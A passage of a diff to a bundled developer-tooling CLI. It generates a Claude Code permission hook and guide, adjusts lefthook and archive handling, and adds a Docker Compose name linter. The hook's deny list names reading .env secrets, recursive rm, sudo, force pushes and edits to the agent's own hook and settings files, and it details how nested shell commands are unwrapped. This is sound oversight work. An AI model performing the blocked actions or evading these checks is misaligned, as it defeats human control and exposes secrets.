action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c → passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"env-file-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't write to .env files. These contain secrets.\"\n },\n {\n name: \"hooks-folder-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n return isWithin(path.join(ctx.cwd, \".claude\", \"hooks\"), resolved);\n },\n reason: \"Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\"\n },\n {\n name: \"git-dir-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsGitDir(filePath, ctx.cwd),\n reason: \"Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files — a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\"\n },\n {\n name: \"node-modules-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => targetsNodeModules(filePath, ctx.cwd),\n reason: \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store — editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\"\n },\n {\n name: \"claude-settings-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n return samePath(resolveIn(ctx.cwd, filePath), path.join(ctx.cwd, \".claude\", \"settings.json\"));\n },\n reason: \"Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\"\n },\n {\n name: \"outside-cwd-write\",\n tools: WRITE_TOOLS,\n action: \"deny\",\n when: (filePath, ctx) => {\n const resolved = resolveIn(ctx.cwd, filePath);\n if (isWithin(ctx.cwd, resolved)) return false;\n if (isWithin(path.join(os.homedir(), \".claude\"), resolved)) return false;\n return true;\n },\n reason: \"Don't write files outside the project directory.\"\n }\n];\nconst fileAllowRules = [{\n name: \"cwd-read\",\n tools: READ_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n}, {\n name: \"cwd-write\",\n tools: WRITE_TOOLS,\n action: \"allow\",\n when: (filePath, ctx) => isWithin(ctx.cwd, resolveIn(ctx.cwd, filePath))\n}];\n\n//#endregion\n//#region src/evaluate-tool.ts\n/** Tools whose input contains a `file_path` field. */\nconst FILE_PATH_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Write\",\n \"Edit\"\n]);\n/** Tools whose input contains a `path` field (search root, optional). */\nconst SEARCH_TOOLS = /* @__PURE__ */ new Set([\"Glob\", \"Grep\"]);\n/**\n* Extract the relevant file path from tool input based on tool name.\n* Returns null if the input shape doesn't match expectations.\n*/\nfunction extractPath(toolName, toolInput, cwd) {\n if (FILE_PATH_TOOLS.has(toolName)) return parseFilePathInput(toolInput)?.file_path ?? null;\n if (SEARCH_TOOLS.has(toolName)) return parseSearchInput(toolInput)?.path ?? cwd;\n return null;\n}\n/**\n* Evaluate a non-Bash tool invocation against file-tool rules.\n* Returns allow, deny, or passthrough.\n*/\nfunction evaluateToolUse(toolName, toolInput, ctx) {\n const filePath = extractPath(toolName, toolInput, ctx.cwd);\n if (filePath === null) return {\n action: \"passthrough\",\n rule: null,\n reason: \"unknown tool input shape\"\n };\n for (const rule of fileDenyRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n for (const rule of fileAllowRules) if (rule.tools.has(toolName) && rule.when(filePath, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"no file rule matched\"\n };\n}\n\n//#endregion\n//#region src/index.ts\nconst inputResult = await readHookInput();\nif (!inputResult.ok) {\n process.stderr.write(`[bst-hook] invalid hook input: ${inputResult.error}\\n`);\n audit({\n sessionId: \"unknown\",\n cwd: \"unknown\",\n command: `<invalid input: ${inputResult.error}>`,\n decision: \"passthrough\",\n rule: null,\n reason: `validation failed: ${inputResult.error}`\n });\n process.exit(0);\n}\nconst input = inputResult.data;\nif (input.hook_event_name !== \"PreToolUse\") process.exit(0);\nif (!(/* @__PURE__ */ new Set([\n \"Bash\",\n \"Read\",\n \"Write\",\n \"Edit\",\n \"Glob\",\n \"Grep\"\n])).has(input.tool_name)) process.exit(0);\nconst repoSettings = loadRepoSettings(input.cwd);\nlet decision;\nlet auditCommand;\nif (input.tool_name === \"Bash\") {\n const bashInput = parseBashInput(input.tool_input);\n if (!bashInput) {\n audit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: `<invalid Bash input: ${JSON.stringify(input.tool_input).slice(0, 200)}>`,\n decision: \"passthrough\",\n rule: null,\n reason: \"Bash tool_input missing or invalid 'command' field\"\n });\n process.exit(0);\n }\n decision = evaluateCommand(bashInput.command, {\n cwd: input.cwd,\n depth: 0,\n repoAllowPatterns: repoSettings.allow,\n repoProtectedBranches: repoSettings.protectedBranches\n });\n auditCommand = bashInput.command;\n} else {\n const projectDir = findWorkspaceRoot(input.cwd) ?? process.env[\"CLAUDE_PROJECT_DIR\"] ?? input.cwd;\n decision = evaluateToolUse(input.tool_name, input.tool_input, { cwd: projectDir });\n const filePath = String(input.tool_input[\"file_path\"] ?? input.tool_input[\"path\"] ?? \"\");\n auditCommand = `${input.tool_name} ${filePath}`;\n}\naudit({\n sessionId: input.session_id,\n cwd: input.cwd,\n toolName: input.tool_name,\n command: auditCommand,\n decision: decision.action,\n rule: decision.rule,\n reason: decision.reason\n});\nif (decision.action === \"allow\") writeDecision(\"allow\");\nelse if (decision.action === \"deny\") writeDecision(\"deny\", decision.reason);\n\n//#endregion\nexport { };", "bst-hook.mjs"), writeIfChanged(ctx, GUIDE_PATH, "# bst-hook Permission Guide\n\nThis project uses a PreToolUse hook (`bst-hook`) that evaluates Bash commands\nand file tool operations before execution. Commands fall into three tiers:\n\n- **Denied** — blocked with a redirect message\n- **Allowed** — auto-approved, no prompt\n- **Passthrough** — falls through to Claude Code's normal permission prompt\n\n## Denied commands\n\nThese are blocked. The hook tells you what to do instead.\n\n### Bash\n\n- **rm-recursive**: Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\n- **sudo**: Don't use sudo. If you need elevated permissions, ask me to do it manually.\n- **git-force-push**: Use `git push --force-with-lease` instead of `--force`.\n- **git-reset-hard**: Don't `reset --hard` on main. Create a branch first.\n- **git-write**: Git write operations (push, commit, reset, merge, etc.) are not allowed. Ask the user to run these manually.\n- **chmod-777**: Don't use 777 permissions. Use more restrictive permissions.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, …) writes through the link and corrupts that package for every project on this machine — silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe — it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **npx-redirect**: This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\n\n### File tools (Read, Write, Edit, Glob, Grep)\n\n- **env-file-read**: Don't read .env files. These contain secrets that should not appear in the conversation.\n- **env-file-write**: Don't write to .env files. These contain secrets.\n- **hooks-folder-write**: Don't write to .claude/hooks/. These files are managed by the project and should not be modified directly.\n- **git-dir-write**: Don't write into .git/ directly. Its internals (config, hooks, refs) are not plain project files — a config edit can redirect remotes or push destinations that other rules trust, and a hooks/ script runs automatically on the next commit/push. Use git subcommands instead, or ask the user.\n- **node-modules-write**: Don't write into node_modules/. Its files are hardlinks into pnpm's global store — editing one in place corrupts that package for every project on this machine. Edit the source package and rebuild, or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`).\n- **claude-settings-write**: Don't write to .claude/settings.json. This file is managed by the project and should not be modified directly.\n- **outside-cwd-write**: Don't write files outside the project directory.\n\n## Auto-approved commands\n\nThese run without prompting.\n\n### Bash\n\n- **Test runners**: vitest, jest\n- **Type checking**: tsc\n- **Build tools**: tsdown\n- **Tooling CLI**: bst (checks:run, hooks:audit, docker:build, docker:check, repo:sync)\n- **Linters & formatters**: oxlint, oxfmt, eslint, prettier, biome, knip\n- **Read-only commands**: cat, head, tail, grep, ls, wc, uniq, diff, echo, pwd, which, dirname, basename, realpath\n- **Package managers (read-only)**: npm (view, info, show only)\n- **Shell builtins**: test, bracket-test\n- **Navigation**: cd, true, colon\n- **Conditional commands**: find (without -exec, -delete), sort (without -o / --output)\n- **Git read operations**: git (status, log, diff, show, blame, branch, remote, fetch, rev-parse, etc.)\n- **Git safe writes**: git-safe-write (add, switch -c, checkout -b, stash push/pop/apply/show, mv (docs/*.md only), worktree list/add)\n- **Git writes (feature branches)**: git-feature-branch-write (commit, merge, rebase, cherry-pick, revert, reset (only when current branch is not main/master/default; push is never auto-approved))\n- **Git push (feature branches)**: git-safe-push (push with an explicit refspec (e.g. `git push origin feat/x`) from a non-protected branch to a non-protected destination on a configured remote (--force-with-lease ok; --force, --tags, --delete, --mirror, and pushes to main are not). A push with no refspec (bare `git push` / `git push <remote>`) is never auto-approved — its destination comes from push.default/upstream config, which is not resolved here)\n- **pnpm (safe built-ins)**: pnpm (list, why, view, info, show, outdated, install (bare only))\n- **File operations (within project)**: cp (paths must be within project directory), mkdir (paths must be within project directory), touch (paths must be within project directory), mv-docs (mv only between docs/*.md paths (plan-lifecycle moves)), sed-docs (sed only on docs/*.md files (plan-lifecycle edits))\n\n### File tools\n\n- **Read/Glob/Grep**: Allowed within project directory\n- **Write/Edit**: Allowed within project directory\n\n## Passthrough\n\nEverything not listed above triggers Claude Code's normal permission prompt.\nCommon examples:\n\n- `pnpm add <pkg>`, `pnpm dlx <pkg>` (dependency changes)\n- `mv` (file moves outside `docs/*.md`)\n- `node`, `npx` scripts\n- Commands with output redirection (`> file`)\n- Any unrecognized command\n\n## How commands are evaluated\n\n- **Pipelines and chains**: every segment must be allowed; any deny blocks the whole command.\n- **pnpm scripts**: `pnpm <script>` resolves against `package.json` (including pre/post hooks and `--filter` workspaces) and evaluates the resolved command recursively.\n- **cd propagation**: `cd dir && cmd` evaluates `cmd` relative to the new directory.\n- **Audit log**: all decisions are logged to `.claude/hooks/bst-hook.audit.local.jsonl`.\n", "bst-hook-guide.md")];
5824
6030
  }
5825
6031
  //#endregion
5826
6032
  //#region src/generators/claude-settings.ts
@@ -6117,29 +6323,33 @@ const LINT_COMMAND = "pnpm exec oxlint --no-error-on-unmatched-pattern {staged_f
6117
6323
  function formatCommandFor(formatter) {
6118
6324
  return formatter === "prettier" ? "pnpm exec prettier --ignore-unknown --no-error-on-unmatched-pattern --write {staged_files}" : "pnpm exec oxfmt --no-error-on-unmatched-pattern {staged_files}";
6119
6325
  }
6120
- function requiredCommands(formatter) {
6326
+ /** The "none" stack installs no oxlint, so a lint hook would fail every commit. */
6327
+ function wantsLint(config) {
6328
+ return config.stack !== "none";
6329
+ }
6330
+ function requiredCommands(config) {
6121
6331
  return {
6122
- lint: { run: LINT_COMMAND },
6332
+ ...wantsLint(config) && { lint: { run: LINT_COMMAND } },
6123
6333
  format: {
6124
- run: formatCommandFor(formatter),
6334
+ run: formatCommandFor(config.formatter),
6125
6335
  stage_fixed: true
6126
6336
  }
6127
6337
  };
6128
6338
  }
6129
- function buildConfig$1(formatter) {
6339
+ function buildConfig$1(config) {
6130
6340
  return [
6131
6341
  LEFTHOOK_MANAGED_HEADER.trimEnd(),
6132
6342
  "",
6133
6343
  "pre-commit:",
6134
6344
  " commands:",
6135
- " lint:",
6136
- ` run: ${LINT_COMMAND}`,
6345
+ ...wantsLint(config) ? [" lint:", ` run: ${LINT_COMMAND}`] : [],
6137
6346
  " format:",
6138
- ` run: ${formatCommandFor(formatter)}`,
6347
+ ` run: ${formatCommandFor(config.formatter)}`,
6139
6348
  " stage_fixed: true",
6140
6349
  ""
6141
6350
  ].join("\n");
6142
6351
  }
6352
+ /** Where `ctx.remove()` puts what it archives. Named here only to describe it to the user. */
6143
6353
  const ARCHIVE_DIR$1 = ".tooling-archived";
6144
6354
  /** Common client-side git hooks that husky may have configured. */
6145
6355
  const HUSKY_HOOK_NAMES = [
@@ -6169,9 +6379,7 @@ function archiveHuskyHooks(ctx, results) {
6169
6379
  let found = false;
6170
6380
  for (const hook of HUSKY_HOOK_NAMES) {
6171
6381
  const huskyPath = `.husky/${hook}`;
6172
- const existing = ctx.read(huskyPath);
6173
- if (existing !== void 0) {
6174
- ctx.write(`${ARCHIVE_DIR$1}/${huskyPath}`, existing);
6382
+ if (ctx.read(huskyPath) !== void 0) {
6175
6383
  ctx.remove(huskyPath);
6176
6384
  results.push({
6177
6385
  filePath: huskyPath,
@@ -6186,18 +6394,14 @@ function archiveHuskyHooks(ctx, results) {
6186
6394
  /** Archive all lint-staged config files. */
6187
6395
  function archiveLintStagedConfigs(ctx, results) {
6188
6396
  let found = false;
6189
- for (const lsPath of LINT_STAGED_CONFIG_PATHS) {
6190
- const existing = ctx.read(lsPath);
6191
- if (existing !== void 0) {
6192
- ctx.write(`${ARCHIVE_DIR$1}/${lsPath}`, existing);
6193
- ctx.remove(lsPath);
6194
- results.push({
6195
- filePath: lsPath,
6196
- action: "archived",
6197
- description: `Moved to ${ARCHIVE_DIR$1}/${lsPath}`
6198
- });
6199
- found = true;
6200
- }
6397
+ for (const lsPath of LINT_STAGED_CONFIG_PATHS) if (ctx.read(lsPath) !== void 0) {
6398
+ ctx.remove(lsPath);
6399
+ results.push({
6400
+ filePath: lsPath,
6401
+ action: "archived",
6402
+ description: `Moved to ${ARCHIVE_DIR$1}/${lsPath}`
6403
+ });
6404
+ found = true;
6201
6405
  }
6202
6406
  return found;
6203
6407
  }
@@ -6232,7 +6436,7 @@ function cleanPackageJson(ctx, results) {
6232
6436
  }
6233
6437
  async function generateLefthook(ctx) {
6234
6438
  const filePath = "lefthook.yml";
6235
- const content = buildConfig$1(ctx.config.formatter);
6439
+ const content = buildConfig$1(ctx.config);
6236
6440
  const results = [];
6237
6441
  archiveHuskyHooks(ctx, results);
6238
6442
  archiveLintStagedConfigs(ctx, results);
@@ -6241,13 +6445,26 @@ async function generateLefthook(ctx) {
6241
6445
  if (existingPath) {
6242
6446
  const existing = ctx.read(existingPath);
6243
6447
  if (existing) {
6244
- const merged = mergeLefthookCommands(existing, requiredCommands(ctx.config.formatter));
6448
+ const descriptions = [];
6449
+ let current = existing;
6450
+ if (!wantsLint(ctx.config)) {
6451
+ const reclaimed = removeLefthookCommand(current, "lint", LINT_COMMAND);
6452
+ if (reclaimed.changed) {
6453
+ current = reclaimed.content;
6454
+ descriptions.push("removed managed oxlint command (stack has no JS/TS source)");
6455
+ }
6456
+ }
6457
+ const merged = mergeLefthookCommands(current, requiredCommands(ctx.config));
6245
6458
  if (merged.changed) {
6246
- ctx.write(existingPath, merged.content);
6459
+ current = merged.content;
6460
+ descriptions.push("Added missing pre-commit commands");
6461
+ }
6462
+ if (descriptions.length > 0) {
6463
+ ctx.write(existingPath, current);
6247
6464
  results.push({
6248
6465
  filePath: existingPath,
6249
6466
  action: "updated",
6250
- description: "Added missing pre-commit commands"
6467
+ description: descriptions.join(", ")
6251
6468
  });
6252
6469
  } else results.push({
6253
6470
  filePath: existingPath,
@@ -6374,6 +6591,7 @@ async function generateVscodeSettings(ctx) {
6374
6591
  }
6375
6592
  //#endregion
6376
6593
  //#region src/generators/coverage-ci.ts
6594
+ /** Where `ctx.remove()` puts what it archives. Named here only to describe it to the user. */
6377
6595
  const ARCHIVE_DIR = ".tooling-archived";
6378
6596
  /**
6379
6597
  * Cleanup-only generator: coverage steps now run inline in ci.yml (see
@@ -6388,9 +6606,7 @@ async function generateCoverageCi(ctx) {
6388
6606
  description: "CI workflow not requested"
6389
6607
  };
6390
6608
  const workflowPath = ctx.config.ci === "github" ? ".github/workflows/coverage.yml" : ".forgejo/workflows/coverage.yml";
6391
- const existing = ctx.read(workflowPath);
6392
- if (existing !== void 0) {
6393
- ctx.write(`${ARCHIVE_DIR}/${workflowPath}`, existing);
6609
+ if (ctx.read(workflowPath) !== void 0) {
6394
6610
  ctx.remove(workflowPath);
6395
6611
  return {
6396
6612
  filePath: workflowPath,
@@ -6461,7 +6677,7 @@ const AGENT_RULES_TAIL = [
6461
6677
  "",
6462
6678
  "A plan's **directory** is the source of truth for whether it shipped — not its `Status:` line, not its checkboxes. Read the source it names.",
6463
6679
  "",
6464
- "Retiring the plan is the last task of the plan. Move it into `completed/` (`docs/plan-foo.md` → `docs/completed/completed-foo.md`, not `completed-plan-foo.md`; date-prefixed superpowers plans keep their name), set `Status: **completed YYYY-MM-DD**`, and add a short \"Shipped:\" paragraph naming what landed and where the truth now lives. Pick the honest verb — `completed` / `superseded` / `abandoned` — and never fabricate a `Shipped:` paragraph for code that isn't in the tree. A plan that lands one phase of a larger spec retires the plan and leaves the spec open.",
6680
+ "Retiring the plan is the last task of the plan. The **directory** encodes one binary — retired or not; the **status word** carries the outcome. Move it into `retired/` (`docs/plan-foo.md` → `docs/retired/completed-foo.md`, not `completed-plan-foo.md`; date-prefixed superpowers plans keep their name), set `Status: **completed YYYY-MM-DD**`, and add a short \"Shipped:\" paragraph naming what landed and where the truth now lives. Pick the honest verb — `completed` / `superseded` / `abandoned` / `rejected` — and never fabricate a `Shipped:` paragraph for code that isn't in the tree. A plan that lands one phase of a larger spec retires the plan and leaves the spec open.",
6465
6681
  "",
6466
6682
  "`bst docs:check` enforces the mechanical half (status ↔ directory, dated retirements, links, staleness). It cannot tell whether the code shipped — that's your job."
6467
6683
  ];
@@ -6669,6 +6885,174 @@ async function runGenerators(ctx) {
6669
6885
  return results;
6670
6886
  }
6671
6887
  //#endregion
6888
+ //#region src/docker-check/compose-yaml.ts
6889
+ /**
6890
+ * Parse a Docker Compose file as plain data.
6891
+ *
6892
+ * Compose defines its own merge tags — `!reset` and `!override` — which control how
6893
+ * values combine across layered `-f` files, and they may tag a scalar, a map or a
6894
+ * sequence (`ipam: !reset null`, `ports: !override [...]`). `yaml` doesn't know them,
6895
+ * and for an unknown tag it does not throw: it calls `process.emitWarning()` with code
6896
+ * `TAG_RESOLVE_FAILED` and then falls back to the default schema. That warning reached
6897
+ * every `bst repo:sync --check` and `bst docker:check` run in any repo whose overlay
6898
+ * used a merge tag — noise in every CI log, from a file bst went looking for itself.
6899
+ *
6900
+ * `logLevel: "silent"` suppresses those non-fatal warnings. It does not weaken parsing:
6901
+ * genuine syntax errors still throw, and a tagged value still resolves to its underlying
6902
+ * data. Callers here only read compose as data (service names, images, ports,
6903
+ * healthchecks, the top-level `name:`) and never re-serialize it, so the tag semantics
6904
+ * are irrelevant to them — which is why silencing beats registering the tags, whose
6905
+ * scalar/map/seq forms would need a six-entry matrix to model correctly.
6906
+ *
6907
+ * Do not drop the option; `test/docker-check/detect.test.ts` and `compose-lint.test.ts`
6908
+ * pin it by asserting no process warning is emitted.
6909
+ */
6910
+ function parseComposeYaml(content) {
6911
+ return parse$1(content, { logLevel: "silent" });
6912
+ }
6913
+ //#endregion
6914
+ //#region src/docker-check/compose-lint.ts
6915
+ const ComposeFileShape = z.looseObject({ name: z.unknown().optional() });
6916
+ /**
6917
+ * Compose files live by convention in `./` or `docker/`. The lint walks those
6918
+ * by default; if `.tooling.json#dockerCheck.composeFiles` overrides the
6919
+ * location, each listed file (and its parent dir) is also linted.
6920
+ */
6921
+ const COMPOSE_DIR_CANDIDATES$1 = [".", "docker"];
6922
+ /** Base compose file names whose project namespace defaults to dir basename. */
6923
+ const BASE_COMPOSE_FILES = /* @__PURE__ */ new Set([
6924
+ "docker-compose.yml",
6925
+ "docker-compose.yaml",
6926
+ "compose.yml",
6927
+ "compose.yaml"
6928
+ ]);
6929
+ const COMPOSE_FILENAME_PATTERN = /^(?:docker-compose|compose).*\.(?:yml|yaml)$/;
6930
+ /**
6931
+ * Walk compose files in `targetDir` and report lint violations:
6932
+ *
6933
+ * - Rule A (`missing-name`): every override compose file must declare a
6934
+ * top-level `name:` directive. Base files (docker-compose.yml etc.) are
6935
+ * exempt — their default of dir-basename is fine — but overrides without
6936
+ * `name:` silently inherit the base's project namespace, which is how a
6937
+ * `compose down -v` against the check overlay wiped the prod-volume project.
6938
+ * - Rule B (`duplicate-name`): no two compose files in a single dir may
6939
+ * declare the same `name:`. Base files participate in collision detection.
6940
+ */
6941
+ function lintComposeFiles(targetDir, config) {
6942
+ const issues = [];
6943
+ const visitedDirs = /* @__PURE__ */ new Set();
6944
+ const standaloneFiles = [];
6945
+ const dockerCheck = config?.dockerCheck;
6946
+ const isObjectConfig = dockerCheck !== void 0 && dockerCheck !== false;
6947
+ for (const candidate of COMPOSE_DIR_CANDIDATES$1) {
6948
+ const absDir = path.resolve(targetDir, candidate);
6949
+ if (existsSync(absDir)) visitDir(targetDir, absDir, visitedDirs, issues);
6950
+ }
6951
+ if (isObjectConfig && dockerCheck.composeFiles) for (const rel of dockerCheck.composeFiles) {
6952
+ const absFile = path.resolve(targetDir, rel);
6953
+ if (!existsSync(absFile)) continue;
6954
+ const dir = path.dirname(absFile);
6955
+ if (visitedDirs.has(dir)) continue;
6956
+ const basename = path.basename(absFile);
6957
+ standaloneFiles.push({
6958
+ absPath: absFile,
6959
+ relPath: path.relative(targetDir, absFile),
6960
+ basename
6961
+ });
6962
+ }
6963
+ const standaloneByDir = /* @__PURE__ */ new Map();
6964
+ for (const file of standaloneFiles) {
6965
+ const dir = path.dirname(file.absPath);
6966
+ const list = standaloneByDir.get(dir) ?? [];
6967
+ list.push(file);
6968
+ standaloneByDir.set(dir, list);
6969
+ }
6970
+ for (const files of standaloneByDir.values()) {
6971
+ files.sort((a, b) => a.relPath.localeCompare(b.relPath));
6972
+ lintDirFiles(files, issues);
6973
+ }
6974
+ return issues;
6975
+ }
6976
+ function visitDir(targetDir, absDir, visitedDirs, issues) {
6977
+ if (visitedDirs.has(absDir)) return;
6978
+ visitedDirs.add(absDir);
6979
+ let entries;
6980
+ try {
6981
+ entries = readdirSync(absDir);
6982
+ } catch (_error) {
6983
+ return;
6984
+ }
6985
+ const files = entries.filter((name) => COMPOSE_FILENAME_PATTERN.test(name)).toSorted().map((name) => {
6986
+ const absPath = path.join(absDir, name);
6987
+ return {
6988
+ absPath,
6989
+ relPath: path.relative(targetDir, absPath),
6990
+ basename: name
6991
+ };
6992
+ });
6993
+ if (files.length === 0) return;
6994
+ lintDirFiles(files, issues);
6995
+ }
6996
+ function lintDirFiles(files, issues) {
6997
+ const namesByFile = /* @__PURE__ */ new Map();
6998
+ for (const file of files) {
6999
+ const declaredName = readTopLevelName(file.absPath);
7000
+ namesByFile.set(file.relPath, declaredName);
7001
+ if (!BASE_COMPOSE_FILES.has(file.basename) && (declaredName === void 0 || declaredName === "")) {
7002
+ const suggested = suggestProjectName(file);
7003
+ issues.push({
7004
+ kind: "missing-name",
7005
+ files: [file.relPath],
7006
+ message: `${file.relPath}: override compose file is missing required top-level 'name:' directive.\n Add: name: ${suggested}\n Why: without an explicit name, this override inherits the base file's project namespace.\n A 'docker compose down -v' against this override would target the base project's volumes\n — which has caused production volume loss in the past.`
7007
+ });
7008
+ }
7009
+ }
7010
+ const filesByName = /* @__PURE__ */ new Map();
7011
+ for (const [relPath, declaredName] of namesByFile) {
7012
+ if (declaredName === void 0 || declaredName === "") continue;
7013
+ const list = filesByName.get(declaredName) ?? [];
7014
+ list.push(relPath);
7015
+ filesByName.set(declaredName, list);
7016
+ }
7017
+ for (const [declaredName, dupFiles] of filesByName) {
7018
+ if (dupFiles.length < 2) continue;
7019
+ dupFiles.sort();
7020
+ const [first, second, ...rest] = dupFiles;
7021
+ const ext = rest.length > 0 ? `, ${rest.join(", ")}` : "";
7022
+ issues.push({
7023
+ kind: "duplicate-name",
7024
+ files: dupFiles,
7025
+ message: `${String(first)} and ${String(second)}${ext} both declare 'name: ${declaredName}'.\n Each compose file in the same directory must declare a unique 'name:'.\n Suggested fix: rename one (e.g. 'name: ${declaredName}-test' in one of them).`
7026
+ });
7027
+ }
7028
+ }
7029
+ /** Suggest a default name for an override file by stripping the variant from the filename. */
7030
+ function suggestProjectName(file) {
7031
+ const parts = file.basename.replace(/\.(yml|yaml)$/, "").split(".");
7032
+ const variant = parts[parts.length - 1];
7033
+ if (parts.length > 1 && variant) return `<project>-${variant}`;
7034
+ return "<project>-check";
7035
+ }
7036
+ function readTopLevelName(absPath) {
7037
+ let raw;
7038
+ try {
7039
+ raw = readFileSync(absPath, "utf-8");
7040
+ } catch (_error) {
7041
+ return;
7042
+ }
7043
+ let yamlValue;
7044
+ try {
7045
+ yamlValue = parseComposeYaml(raw);
7046
